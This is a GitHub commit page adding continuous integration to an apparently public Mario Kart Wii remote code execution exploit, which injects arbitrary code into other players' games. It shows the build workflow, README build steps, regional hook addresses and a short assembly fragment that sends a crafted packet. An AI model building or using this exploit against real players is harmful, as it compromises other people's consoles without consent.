Skip to content

Commit

Permalink
Add Continuous Integration
Browse files Browse the repository at this point in the history
  • Loading branch information
MikeIsAStar committed Apr 3, 2024
1 parent 1c81ffe commit bccbbf4
Show file tree
Hide file tree
Showing 4 changed files with 52 additions and 16 deletions.
26 changes: 26 additions & 0 deletions .github/workflows/build.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
name: Continuous Integration

on: [pull_request, push, workflow_dispatch]

jobs:
build:
name: ubuntu-latest
runs-on: ubuntu-latest
container: devkitpro/devkitppc:latest

steps:
- name: Checkout
uses: actions/checkout@v4

- name: Build
run: |
mkdir out
/opt/devkitpro/devkitPPC/bin/powerpc-eabi-as -mgekko -mregnames ./source/mario_kart_wii_remote_code_execution.S -o ./out/mario_kart_wii_remote_code_execution.o
/opt/devkitpro/devkitPPC/bin/powerpc-eabi-ld -Ttext 0x80000000 ./out/mario_kart_wii_remote_code_execution.o
/opt/devkitpro/devkitPPC/bin/powerpc-eabi-objcopy -O binary ./out/mario_kart_wii_remote_code_execution.o ./out/mario_kart_wii_remote_code_execution.bin
- name: Upload
uses: actions/upload-artifact@v4
with:
name: Releases
path: ./out/mario_kart_wii_remote_code_execution.bin
5 changes: 5 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
# Directories
out

# Files
a.out
11 changes: 8 additions & 3 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,10 +2,15 @@

Injects arbitrary code into a client's game.

## Assembling
## Prerequisites
- devkitPPC

## Building
```
powerpc-gekko-as.exe mario_kart_wii_remote_code_execution.S -o mario_kart_wii_remote_code_execution.elf
powerpc-eabi-objcopy.exe -O binary mario_kart_wii_remote_code_execution.elf mario_kart_wii_remote_code_execution.bin
mkdir out
powerpc-eabi-as -mgekko -mregnames ./source/mario_kart_wii_remote_code_execution.S -o ./out/mario_kart_wii_remote_code_execution.o
powerpc-eabi-ld -Ttext 0x80000000 ./out/mario_kart_wii_remote_code_execution.o
powerpc-eabi-objcopy -O binary ./out/mario_kart_wii_remote_code_execution.o ./out/mario_kart_wii_remote_code_execution.bin
```

## Usage
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
# Mario Kart Wii Remote Code Execution #
#--------------------------------------#
# Author : MikeIsAStar #
# Date : 03 Nov 2023 #
# Date : 03 Apr 2024 #
#--------------------------------------#
# Description: This code will inject #
# arbitrary code into a client's game. #
Expand Down Expand Up @@ -30,10 +30,10 @@
#======================================#
# Hook Address #
#--------------------------------------#
# RMCP : 0x80657F30 #
# RMCE : 0x80653AA8 #
# RMCJ : 0x8065759C #
# RMCK : 0x80646248 #
# RMCP: 0x80657F30 #
# RMCE: 0x80653AA8 #
# RMCJ: 0x8065759C #
# RMCK: 0x80646248 #
#======================================#
.globl _start
_start:
Expand All @@ -59,12 +59,12 @@ payloadStart:
payloadEnd:
packetEnd:

lis 12, 0x80005F34@h
li 5, packetSize
mflr 4
ori 12, 12, 0x80005F34@l
stw 5, 8(3)
mtctr 12
lwz 3, 0(3)
lis r12, 0x80005F34@h
li r5, packetSize
mflr r4
ori r12, r12, 0x80005F34@l
stw r5, 8(r3)
mtctr r12
lwz r3, 0(r3)
bctrl
li 4, packetSize
li r4, packetSize

0 comments on commit bccbbf4

Please sign in to comment.